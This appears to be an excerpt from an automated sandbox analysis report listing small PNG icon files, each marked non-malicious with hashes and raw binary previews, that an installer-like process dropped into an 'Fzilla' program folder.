Entropy (8bit):	7.612898091312105
Encrypted:	false
SSDEEP:	12:6v/7QMdoMAqIF2spEEq24sAKF8R+i7M1En5Eykbtf3N1pL6+DgnL5hkeBSqLuV:GoMAdPpPqaAKU+Q8EnK3bR3NHQVhXBSh
MD5:	FA12DDD61EDC428242293516F84D1459
SHA1:	21DDEA8522835B64C52DF5FBCC2A16763E59C778
SHA-256:	B654E469846083F157053C8CBBCEB94575AD5717A87C28D7B0D876157DBD710B
SHA-512:	A3166B73F8908DC15745AF9278444895DD8E18A93F84DCBAF5FD8CE3FA351B56BDD8A5BC099F4960011886FA7DBA40003700E14949C5E2E6FBFC951388509BD9
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....tIDATx...5..E.G._..gh..^X...... &GBl......t..s*.....m.w..k.I.1......~..[ .).@. . ./..!K../.\|..3...n.....B.Y.......^.M.`..@.....}u..p.9z.S...-.+I.3..J.8..LJ.B......=............A..;.. ...\..5.c...z.).....pDB....Z.Q3q<...l.'...F..1.+..ZQ...p..PjQk......Ea...#8....4.I......T.J.....O0..4..pyL.. Q.....>.IBPD=.?`..H.!..A.\|....32...bR...C.w.'.V7.p.Z.~..$....K..kYB.V8.{k.#...:.....Mr.....E...\|.`0......u2v..#....?{..At.V..m......u..M......w....`.?2.o.9...(.... .;....O....SW..E.+A......7..%.51..F.h.u.M9.?.....6.)..d...N.:q.......j3Sc.$d{;[[kk++....o}.+...AM...9.Qtfnjjbl..,k...6...........HIR.BYD...o.w.)p.6.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1896
Entropy (8bit):	7.865475930800417
Encrypted:	false
SSDEEP:	24:ykexPmVOQmBQ/GGNMJtv9bR30mbhJUng123gSD8rPvHvsq71eZ9gPAHQY0UzhYAb:soaJtF2mbhJj10gHHP7G9aAFhYAL/
MD5:	38C725C54639130D64B107192B0F9D73
SHA1:	4B11E3FC85322C7857E7CCC1E3265053F90AC9D0
SHA-256:	0E05CFD53CD5AD24A9752CFA3E7B62532E107B5892E171264DD5EDE862BF955B
SHA-512:	9BC3878856B4FF1F7063CB8811E6B011905FEF912E81226F3BC858534E9A72585E5584BBEA2C394B56EABB31A70730D777893B454142C96BE956A70461087FE0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W....../IDATx....#......g.x\|afff.....X..?.#....03....d..Ti...8.b...==...z..M....'+b!.....$L./....r...VZ5M.."".r...!....8.....k..^...O\|..................G.....h.~.#>......g......N..a\|..O.i..mnb8..:q..Y...B.Ng....Nj.>...'.y...w.DQD......o...n8s.....o.......w?....O-.cx.eY...]I.,f.ZH.......#....{..p.v.mn`...x.....VWW...70.Dd.S....]h5a ..E.q.3.\|..b.S.ZZ.M..L.t.>.y..jZ.......k.#..Fvv..s..]..#....}.[.E_...[o..^..i.66Pgs..8...<.....Au}@Q@.#.?N......#7o.)d8$H...p..#...h..MS...eHY..5b4"`,...PE .Gi.....dc...v..#..&...(.G..3..!$..r...FF.8A...u.....?..._.&..........(..,b[....APAT"i.v..{ 7 ....k.......'?.i.)..3........J...@..3..7.e..J......5.EH...&R....f..op.\.I..D@....... DC;...^.\|.....c4.i..5.-Z.....u.2.8Y.TG?e...a.XCt.a..&.n".....$K[.m.)BI.9.3j...P.4l..cq.. .=.9..ED.(B.. .........._.".0.$.."3z.TFC..c...F.1*...qE.&.Q.=c...Y..(...D.F,..2`m.....d\el.\!...E.qm...-....(...4...9"a&.q.&.7P...Br.....FE.P..Z...y.4.eYz..g ......E..M..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	7.878635274584875
Encrypted:	false
SSDEEP:	48:KEJybCXTLt3+dljO/kg/+WDtjFU09XEwrIHt3X:XWgTLt3gjOcghJFSwEB
MD5:	6AABE6412E6F1C85F6D72B5D4D2C3D04
SHA1:	4E98D95F100036330C3C9F30FE64713AF060484E
SHA-256:	64D6AF2EB4732DE739FE438D981A0EC0E09D6BDD89BE0FA6C332A009ED0EF5E7
SHA-512:	CECA624FD26FD9FBD658146D1EFABF00200899E592BC0CC0F75D828267F094325AE3B89A1D205E0E6CACFC71B9F1101A33DD039BECF1BA5AD688BC972536D4D7
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Z....l....c.333333333.&.IA......c.[f[....5....0...#.^uk$..u.1.G..?...........k.../z...%/..N.(.....#...w.k.;....a);.6b.G..p.. ..m.{..Yx...W..\|.\.b.Q..r....4.G<....Eq1.<..O..79G....@UU..z(.1.1.../C,.Ac.(/."...].vM...:O\|........}.}.._=.a.9lQ=d{N...u../\|...}......).4..s..!.?l.,.b.D.f.=........Q...\.\|.#/.......N..1..O..n..8..c+....'O.....oa........p....C.........g..'N.....,"....B..Y'd9_2n...+..."F./U83;..!.[..........{...K.....fO..7..7.2uVT.&.zO.D. ..u..%....\......d..I.. ...z1.....K?.6.......R.....m...O.8.cG....$.W9T.....T/R;9.%N&..g..a)&...Y...4..g..6..+.kG.p.qk......:.........I....{.x.[...1...{.l7:}.4.l.r]..4.}9r...S..X8.<.<.zk.......B..W.....E.sE...Z.Z...0::za}.X..sKu-.d..f"8.k..*...,.3Cb$..A..=..,[vV&''1<<.....s.........k...5+`,fBD...#...E.r.H..\j.U.........XW7.j..#.L..k...6c..6.&.sY6..........3..g..FNPT;.....K..:..-...e........100.....9....`]...G....Y3)..d.v.l.m6.....o.wYr.u..'..L...k].`

C:\Program Files (x86)\Fzilla\resources\lone\48x48\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2755
Entropy (8bit):	7.90499974479559
Encrypted:	false
SSDEEP:	48:Cp5Jv2A9UP+0M8Lq//x1ja9e93cVtLJslDFhTmQtJPqWqccGT15imaXbisaKD/:89UOx1meyVl/eYWOOvcXbNag
MD5:	FFBA5ED86AA6CB1FABD91CDF29C7C818
SHA1:	B781BF186534381A0CCF582BCA1ACB033B83BB87
SHA-256:	44B981A2CCBB2D1F53D98B667D103847E5D7C2B91124C01FBFB4B86CA666F633
SHA-512:	3BF8A5DCD8830470E3883974C500769137AEA77F0816382493743478B097C86502C547DD63D7EB57487F9731387FE5453AB03A3338DAA6EC38CBCC39DDC56135
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t.:.....p.4...13333333}........{T.&.6.'.....9O..m.gVz....\.H^.).......o.-....G.}t\|......k{.'......R{..Q.ym..v.G)5....R.&......RX.1(.c.SZ.G..Z....nF:...C........>...f..k,.........<7.MJ..q...(....#.Cg;d.p......#l.r.Y.6."Y.xq........[WoI.Q.O...........\|s.....Z.<.@~...\x.-.\|.f.%I2mk..cr..&....F.E1.{.p.9.....T.Pi...k.......8....s6RJ..(.....f....Ks>...L.6.........mz..~o.Y....$..nb.SN..d.&.B...S.1.......#.'@.A....#6.6#B...........7.tSO......._72....h...... r.e.j-...._..Ji..A;;.X;..p...$P.......4Q.\....IE.......v...@G-;wu.c..UD."..."E.r.j.:..A..8......J.W.].8...d..1.....v..j..w....@.............V..l..e...{..r....Gk..4.JL.2.@.0........u..<......_FP..g.Z....sb.^=...p.....c.qs...o.R.8..d..3a..2.].......M. H.(.9...k..c9.........}.{.f..1Y...V..@9....31.b..B^.p....Z.... ..d,I..3F2......5..'....,.....%...Z.t(+....]+b...9...Rd#..".;......`g...8.A.+.}..R^....yo.}.Ljl.}+FX<......2..wF.l.0.....r..<...8

C:\Program Files (x86)\Fzilla\resources\lone\48x48\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2051
Entropy (8bit):	7.871635597132971
Encrypted:	false
SSDEEP:	48:ngWlLIHxtIkGCkX7e9AJH+smGk32e0vzWP4:5lLsxtgp7e9AVkGr24
MD5:	E419AB77F821DDF38E96462F4CE29205
SHA1:	9968A99FABE819EA79A3D99F8CB57E0A2525388B
SHA-256:	C52236A3209DB62DF4BD68CD5B305C5194B0C7B0249BDC082B7327AE86E59B76
SHA-512:	05EB4C7C39609B6072FE8F12CD423D51392FB0DE7C600228068C1623D8673A99AB07B379143D9BE88C96EA78B052232F5A7E8D2C6CF845FCADAC925242023479
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..ZUt.8.,I..........w......}..233333.>..M.W.n.&..f.W.6u.............\o.z.W.q..SN9.&...3.............q..?./\.....`....n......a..............d.a.2.../....../!....\|...U]...s...eYRUU^8.I..+bL......hhh..1....,........9.\|...x....8..'...-f...g~.../.}..kX....$Z.w.C.......].....(Q..s.eU.q.l..D;WH\...........u+......{........../...s..W..(4...&Z..C.)c.x..v.[.".....-..H.....n.........h...L1v.C......P..E.P..e.(+.....\u....D...s..m....2.....[....h...2.....O.....bnb...2.bry.V.FD.......gW..u._.@...c....E.1H..Hv,..!M\.HL..:...Fl.......b@.....'F..Z#F..J h5%0i{..*.66....a.00.:......Ly....$.&a.'+.,Z.5..x.............A....=4)...Z.."I..#&.....`n.3ye5...........V@..?.d..m'.k.E..6..jh.K....,....w...u..Dh.@..fNu.f.c.d&t.;.~..o..<.W....lP./}/..oW<g.&...H...mE..Vs.$r..DM.-Am...e.h..#.1.\...U....5,P3..r=.z=....t....~.CYDV..y^m'.......\[=aMV.'.W...(.....1<<\|...'....&K...:./..j:1....5....&Z.F.0..i...,....e`.pF/.'E,'.j

C:\Program Files (x86)\Fzilla\resources\lone\48x48\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2871
Entropy (8bit):	7.90233796795438
Encrypted:	false
SSDEEP:	48:FWLA9A8OSnRojr2uaEARirKRBghPfvGYq55dRqjdcSdD72c+/2DGi8a/2GqH4PRU:FWLA9lfnu2uHAIrKghPfvGHRGD7J++De
MD5:	B258DDE4C540BB7CC02E285BA60AC811
SHA1:	296C63BD4D4E462B99DCDF53A68DB3CF569CFC9E
SHA-256:	44F1AC82B6FD4372880C553814D84579D33DAC6B87A899957EF963B25DC35BBB
SHA-512:	48E9FE25AB5B32EB0AB93EAFCCC7B6FFBEE7157E31DC30E3F01D219A4BAE486E94AAB2F9CED1B3EF4444DF9DEDB642F741077945AB4DAFF9458D531E79DC7432
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.x...%..m7mR.+.q...}.......\|.....)e.'.d...+..J.a...G....Frp<......[.S'..G.c........m........5Xc7.zQ...z..2..4.....F....{........Z^`K.~.......1....g4,Dwn...c0{.g..._.}iKC.....}W....W.G;.al...'.-...E<.y.6..s./@U}......./}g.6...X...U..b..Ug.....U?.k....x..N4U.......7@dO...<....,...1W2..9..,A.u.!.8.a...o.v.Y...^>.'w....B.MI...e.>..\|.]....12..e.q..b1.M:A...@.E.+.P...R.A.]..;w...w!...`?..O...8......X.6..K.k.....1.q%.t...6..8!P.M=.S....1}.E.p....%.:.0.E..)?k....'`...9.e.A....I..7.;[C?J/.(cLY....D!. ...]......8..y?.7w008..d3.r{1\.R.......Il..;..D.S)...y...!.4..j... .L.....k1u.]gT.~..*..9..'{o...#.#...)..c.k.tUB.......Pm.!Vk.t. ..."G.!.....-8.OWkG........?..cM......s,~.C..Tu...y/..I{.L....^y.l......sb[...R.....P..!..Jm..}].q..V`.......o....../.=..qi.~..zn......9.X......a....`.i...jT(k.....[...U.e....k_.....:..d.........M.0OV..;0ez....j..5.X.c...5.........\|Tk#Z.....H$.I.......V3.l3..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3135
Entropy (8bit):	7.91902628576473
Encrypted:	false
SSDEEP:	48:KKBehCoYIdaWcgw75JFrbHTohEk8S1JIT7OK55E8MUEHpLVFpyOOz/SyM85aRe4F:fUhIISHUyYHITjEAEHpxVOOyMKoF
MD5:	F1A152170ADF3111FACA8DBE8397AB4B
SHA1:	6F00B7BCAB6243E2E3EAB8248DDB5A6C61D2B1E9
SHA-256:	6DD5105CD1B810F2753F990438EB50FC3A59CC93DADD714AFEF9B06AB6DAC970
SHA-512:	296E9EFBC64ABC16B0696C26225C8B6DB45294D71EC39628242A8F6373319354195A078834165DD95A418D432ED7209638B5E2D478E3A515A8502AC9A35C7A58
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$Y..s.Um.pm....g.m..5g.6.i...2.=...7r+k.'....=.....#..W....r)..X.........6%....=..............8.#D..h. ...0.....$\...r!......!..C,`.%..%...7..Qmpx.j{..(..8...f,..&SaM..f.-..+.......O3...S..s..p.%}....(PD.T...(X.T...~{,1....L...)1.F...wVO..0.r..a..=...7.]X.R..5`U.....O3.,s.U.VM.<0....D&._I7.V}:.....^.....f.3..M..0x)i...ZUH.+R3b..Pf...X..c!...L......w1.-.....K.A.V".$......5t.....3F..".m/k..X/{aMH.TT.rJY!.....G.6RT.,K.O.SY.o2P..Cvi.......V.r.....\G7k@.@..%.T-..y.K.9$F.@....gB..4;.X.Z..Ubg..u......{..T ..88......._..:H....p.\U}.._AM..5.od.L.-..v3.lk&.....?.k....b.....]m`.u.A......S.......~.>.BM.8X.rXWY..)>1..g... .4.....s...8..8T..w.J...n...."~7<.K....Pk........s.tN.@.z@G.=Z..../....J....].Z..xx/..I..Z.7...%.Y2..x..:S..JKyK.X...>.b..7...G....U.2.K.KU>...S......tu....3.$Yx7.}{z..8....0.(.AM<.)\|f...(d...Z.)h.....Y5..........t.y.....8...m..0.K..V.,....5=........h1..%..k...m..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-5CBJQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2024
Entropy (8bit):	7.882123376988439
Encrypted:	false
SSDEEP:	48:PXZyeIrQwtIg/wwiWbitSmZao+ed+Z1vmLqq2a3hmzHe55:xyDtIgIxWbitScao+eQvmLwaaHW
MD5:	436024743C7DD6DA27DFEF9FB6973BC7
SHA1:	AD5AD8ED21F8339C393BCE7D9C799F83BB1AF6C5
SHA-256:	FDC91F670A4B907C143FF18E1CCBA5868D8D71DECE8731A0694470B7176A305D
SHA-512:	F4C99499A7A69C2103B0B0AABC9BB908BDB9C9352808A838CEF5B4139FF6F930868A7345BD96B184651FEA6222EA6719E4056ED8F7AEED9F101FCCB6186EBDB4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Z.p...}{....1.".."...f.Ya9...0......}}433.b.....n.F.....Uu.N/5...[I.B....L./..r...p......#.<..B.A.......<t(.y...LM.<V.........../~....../..R.j._..\..........~@UU..."s.n..CF...bQ....*...................QQQ "u@..0<. .\|w....477.s...p.s.f.uk...;e..u4551.<G......B.@..G..{..#h8)#................z...{8.Qg.rT.V.\|.."..pb....x<...u^...k@:`.P...q......\2i .@.Lg.0..c.c....o.....A...$fk...).<.......v.A..41....B\|.!U.....I.p.q.a.!....AG:R..t.\|.t4.`..W_.^.......b.-.........3._...R.....W.....[\y0~.xI.C..D.....z.....T.Z......aIH.2R...G..)S.t:!..Gu.;..@...e_^...d.xdq....M.{.i..4}......;f...-++..'..g.}..KI...J......y.....6....E.-nt.R.....($....i..u8....~.~.{.e..N..B.....W_.Yg..5k.)Q^^./......;/..G.....>.m..Y.Qv`Y...<.F..t.M..K.v...'.S...w.es~>.u.}....SSq.N.. .y3h.`..C.#z...s.y.y..[....xK....h.mb...J!....&..........u.9/..>_..3......kg".L\|s.7.Y.....jwi...\'^.et.v..8......r;....+ ...H.yX.Vh......Q........M..Q:c4\|

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-62UHB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.809729910170398
Encrypted:	false
SSDEEP:	24:SZtQY0DaopQMqrZe7SVPMsuZDuWSaS6LnpKwmX2DxJgpT5wGi+7359gdWvcb:AtQhfp3qgSytXfZLNr2T5N59qQy
MD5:	8A375BA8F9478D5DDDA1E56C5B712F43
SHA1:	C6D2ABC6A1DADDAB007886CB915C86DA55D40CAD
SHA-256:	6191CB83840BAEEFDF9CC0B75863EDE281503497649F7FEAB93A3BCFFC35ED3D
SHA-512:	43AE1BBE597B879E5DA5884FCB269687FF7A8DAB38291505370FAAA87C970F0673AC2E5796ED655F8D1CD4227B1CCFFA2FC2B34D807BEEECBCFC489C521F50A8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......NIDATx....+K.@gw6y.m.m.m.m..g..2X+._...8...z.{v...5.....k.<-.\..ccC....y.`.i.@.6m.Ina..g.e.8.......u..5..g.={..N...8z..II`.?.4../H6..Q.../X.... ...-.Z..PU....=0..,^.....\|....z......%...:..D..H.D......\.R...:c........ .<}..#GB...$.l.U.r.t......k.....D.X...c..Q......Wd$h.6.y..}.K..3W......pp9...h.W.C.@f....9P..l.e...%p......D.D.n7......A@.%D...r..m[.e.....U.n..q..A.....l....iSH.j!..K....#I...Sg..../..U.b...W@S........a.@.:.......SD?~........+..P..g..Ui...aj3..\.c......l...*0`.h.5"...Y..$M..........?...D....>].y....jp.:.M`.B0t....A.2%../....A.7/y<......`.w......{..w. ..c..(...............Zb...(......A.!..`.1.........M.q......H..]...D2...97\|......}._.... .o.1...?..w=.k. ...s......JR....k..%fYr..."l..X6.pK....q.!.GU."...i.\|.6!2.N3....l.].Hy.`..O`0Ck.,Y.....=.O`..'..S.^....\|.{...}.%.@.. ....nR+.......PW..%..V....~..W....\|iT.V.....y...w......u^.#.}K..5....F.q.......K .)J...O.z.... ..K...P......

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-7D6T4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2626
Entropy (8bit):	7.905709801224381
Encrypted:	false
SSDEEP:	48:iTXxaM5flG7EDs1HLqrzj2vxVxkJWsCwyLE8FEmHsnv0SaG:iVaMFl+MIH9/kR51tKXpG
MD5:	63F9C7BBA4EB213149B29A86BE75D8D5
SHA1:	91A6570B2CB2987A2D24CDE499EC4F84E29A4A23
SHA-256:	78CD3A0871C8A138863528DF4DB173014BB86EC49691D4BC771D19589FE270FC
SHA-512:	2EF67DBE4C76F4773C8C8A77691A60328430A95911B8704CEC59F2EB451116B5D8EF7738D3FB0E33F551B16B064C9DED5A6FCA7CBEE1B25D78A30BFFF8B75898
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....t.9..g.fN.b8.efff........k.xef...1...'...........[.M..3I....V+;..{n.Z...(....Z6...=...............W;88.........R]XXx......Z......wrr:.....;.T...J%.&55..}.z.....U...+,CBB....e!.....n.u..s..=...g!..._A.~.#...qLLL8.u.C..>}.t?SSS.r.\|'44T-..X.....>....}}}{.c......l..Q33...;'...........\.ti.... ..q.F$.@@" .o...W..r.#i.V....".......w......:.DFFv.:=..Z"@...x.......KJJ.-.....x.'-...H....(7,.#....../....\|..'....z.d....4i.;2.......3....LKK.............ooA..1.w.O\..........~...j....^....,.f...A..PTT..O...`wSj....B...>...I......6..`._..[..,.r.q....R..-/@..........$H...'I[MM.N[.o...~Q=..i.].... Szy....cm..q....;......A..W.([..h,.........+.'F.".......1..e..%$...!~...I...* k..h..............H.....h..`..i.'..]..A.2.[.$.Lj.......%...[,k....3V....b.Q."..T8....4M"..K')--.Ey-%.@.e..V.K..........b.}}..y.~.5.1X@ee.x..Y.~...D...w..:w.8}b...2....b.........\...+..v...Z..._3....P.,".5..[...2.r..v..0.....6..#......n.J.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-7GRQ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2702
Entropy (8bit):	7.902295721424778
Encrypted:	false
SSDEEP:	48:GkRJzZBYN2cHvcNkm01Ta8bs0VSR9nGJz1vf3T9pogYhh5/Xgg:GkRJzZBYN/Hv/m01TPbssI9GD0hh5/x
MD5:	3E5B63CCEBBABF0C4C5E370B2F8697A4
SHA1:	18172CE6405F32879D4F2858BC906E9F847B2CC1
SHA-256:	2D9F1C42C7591532F6D182A683A97D9B23AEFB2CE6A46178BC1E5A48634BB375
SHA-512:	7A8C9DDD5F45170887BCC39D038E3AAC9965076FFCA801B26449D819768A7C35EA6695D40BC920C1794FDC09C245590649A8C587D916276D4DF0342611EA21F0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......UIDATx.....I.E_5H..3{..;.efffffff.]..2.......8<......Q1.}!....~V.....0...?...P.(`..!6...l..$.$...yS...@..].=n....=..'.....S......4h.p....4....?Y@i.......CF........ .5uuuX...1G...3...(.....=.8..5...D.,.b"`..........4...%@..?.h.~.dm..\h.I...O.W.^..8.L..7.H.P .c.N.JII.[m.....h.....1q...[.....RJ.7/.--..=...s....o.......Y..~.i..O....?..6) k..d..w..S.N..Rum}.`...kjj$f...k...3.R..W.g....E...;...W_.s.=...v1.VR..L.]3.]^z."...P\hq..:....\y.kL1..nP....u#..~....+..X\...\$.......1.,...?O..Q.?.?.5..'.l.......W..:....e.sZL.t1e8.Ga.`..AK....'O...~.%0_=..#..g.]...7._..So.......O<E..Q(....D..!YY.O..K~....<.M.d'...X.t......\q...8.~.W..o..s..g..QJ.........8...D..i]wx.JH.........bO.....5h....f...[o%.kF'R..........b.T.C\.....3]M@nV.V<..d......q.9.@.....>NE..Ks.....n.9....lsSN.....;.x....../......M>9{.._R.oO6.......Zk(D...i...-............>:....a).Kvb....:...h...P.(=....q....K7Y.r....Y<..%.w...4....t..Z:P..l....+..c.N\|

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-8HST6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2755
Entropy (8bit):	7.90499974479559
Encrypted:	false
SSDEEP:	48:Cp5Jv2A9UP+0M8Lq//x1ja9e93cVtLJslDFhTmQtJPqWqccGT15imaXbisaKD/:89UOx1meyVl/eYWOOvcXbNag
MD5:	FFBA5ED86AA6CB1FABD91CDF29C7C818
SHA1:	B781BF186534381A0CCF582BCA1ACB033B83BB87
SHA-256:	44B981A2CCBB2D1F53D98B667D103847E5D7C2B91124C01FBFB4B86CA666F633
SHA-512:	3BF8A5DCD8830470E3883974C500769137AEA77F0816382493743478B097C86502C547DD63D7EB57487F9731387FE5453AB03A3338DAA6EC38CBCC39DDC56135
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t.:.....p.4...13333333}........{T.&.6.'.....9O..m.gVz....\.H^.).......o.-....G.}t\|......k{.'......R{..Q.ym..v.G)5....R.&......RX.1(.c.SZ.G..Z....nF:...C........>...f..k,.........<7.MJ..q...(....#.Cg;d.p......#l.r.Y.6."Y.xq........[WoI.Q.O...........\|s.....Z.<.@~...\x.-.\|.f.%I2mk..cr..&....F.E1.{.p.9.....T.Pi...k.......8....s6RJ..(.....f....Ks>...L.6.........mz..~o.Y....$..nb.SN..d.&.B...S.1.......#.'@.A....#6.6#B...........7.tSO......._72....h...... r.e.j-...._..Ji..A;;.X;..p...$P.......4Q.\....IE.......v...@G-;wu.c..UD."..."E.r.j.:..A..8......J.W.].8...d..1.....v..j..w....@.............V..l..e...{..r....Gk..4.JL.2.@.0........u..<......_FP..g.Z....sb.^=...p.....c.qs...o.R.8..d..3a..2.].......M. H.(.9...k..c9.........}.{.f..1Y...V..@9....31.b..B^.p....Z.... ..d,I..3F2......5..'....,.....%...Z.t(+....]+b...9...Rd#..".;......`g...8.A.+.}..R^....yo.}.Ljl.}+FX<......2..wF.l.0.....r..<...8

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-90PT4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3435
Entropy (8bit):	7.917337931066047
Encrypted:	false
SSDEEP:	48:Yox/a9GEUOneOPoIqfBe+paDU7Z5yOMeHC8MSJYYUE8+bzQ6nFS3uYLcCJrBRWcT:n6UOekQBeOXyAHCIfUkQOwOUtRWcT
MD5:	C32799EF0D36AD912646A53FF6321C4A
SHA1:	416045E40104628C2D097F62D3BEC6471822F133
SHA-256:	DEAA01CA5C552A0E8C2A8BAB044E2A680B752BF5A7296D755217B9B5AF290047
SHA-512:	D54E073B28438EE3F1E7A1FA860E51EF872FFF35C1FF768F4B12C993110B34DA610F3CE97C311A3BFA94CA27F1B5E223A8093B46A775C4819D902B0EF76DF865
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......2IDATx...ep.......#V...3.(..23..e..ffff.\F.03'f.%..0.....k...U..{x..........$...?..f>.!..\|M......a...b.T.R......!...e."..O....qJ...Phi..."."...b.../.=.....n&..@...........).._.[.\|l....>......4..@...@......D....^.0../...>.h...Q..p......'YP..ojj...w..n...2.............5...9.eey........<.....ut.S...X.w.6.=...5.0.s...`.9,....>.+..E.'D..x..~.....V....6.i..7..::.s..$.i..6X.....2q...o.56.EEE..J.....i.U$.J.w......_....[[....x..^i}.m.m<2.....~..o.....ts....z.&.....gW.m.D.M7q..I.B.#...l..../.2.[.rC..._..)...O.QF..G........[.X...~..........?..f...%....<.n:.I.e.......dE!\.....z.........'...G.C.f...7..#.....J.]%N..4..}.HZ.M....y..S..i.4`.-.=.\V.Y.9...\|......Z........_../......_......+.$....8d...=.j....p....@..f....U.f..m....n.u........z.=}\.drNb.B.!....r..U.j:_~...{..f.p.\x..P.#G.....iB.'..E:.&.Hp........&.M`J.....:"-.........xp.O..~..].:.x...).P..H.PI..4...\....Ba!...F.*....I.....&.....h...,.$\|.....D.(...U...&BN

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-9SL01.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3154
Entropy (8bit):	7.924166468402435
Encrypted:	false
SSDEEP:	48:ut3+AlXxBAc6DiQGVR4DJIYr0XjbIIa5RqQHZnLLoiPKmv5k4xDzuQ36EZbfWQZB:utPTmSiIYr0fI3HZnLByWZf6EZ7jZwLK
MD5:	ED4895D987F95765384883E26E97CF52
SHA1:	5E626DD9042BFB6BDDE255256A20414EAC79B2D2
SHA-256:	A97820FB66705BE9F2577EC9B0B91C82E611FB6FF87B58D4E430873DE9E67749
SHA-512:	E3BE633A88C305145CD76BC3BE3C00B1AA177986E23179AAD81BADA73716A9EFFD93A9E2104CC8B4899921421F3696A2806418D042E593E2F83E7916983B08E0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....w....Y.C....._.!..'X<.Gqw8\|......z{.......3.....Ut.r~.V=.k...K.......'..........4@.....m^...y..W....x...[..[/.<.3...........}V....o.....Y0.jvv.[.u+s7,..........d...S'O.._.........~{..v......ju.th.....H7B.c.....`W.....j...q...b.pW..?e8f.......H....W.^.....q.....[.....a.m..p..R]...aPcpe...\|..;qfe.r.X.1.&.....<...x..[[.~4.d../Z$"....`......n...J.`......~\...El.t....Q8j.X.Zi....Z= ...L....h....XP....=.^...........6.}....w.y...A.].!L.zR\P.M.rM.j........8.....=p..'.nQ...>++6...58W....T.4Y..,[6v,=]..+....32......6F..g..<...b..=.?.(..7:.k..........C..s`.O.;.......W..x`.D.v!.j....6kBZ..........;N.mq..h.e....(.t..D....S. o7$..v.D.\|...}F.^.> c...@..J".3Z"..T.:..v.?..}M^.> .....c`...'q.X.,.Y...C2y..q`...Acy.k/.q@...EK.....,&.....G..>..d..C.g....+..x...4P..Z_.b./.....\..P.`{. a..MC..(.0.p1u..v...t......>B..p.~.FnL..Hv..m=q.......4....2yA$ +.e.#-..q. @hH...@5.9#A.."Z....UX".....>.+Z...H.o.un.p.o.........b.....jc..}

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-BTT67.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1896
Entropy (8bit):	7.865475930800417
Encrypted:	false
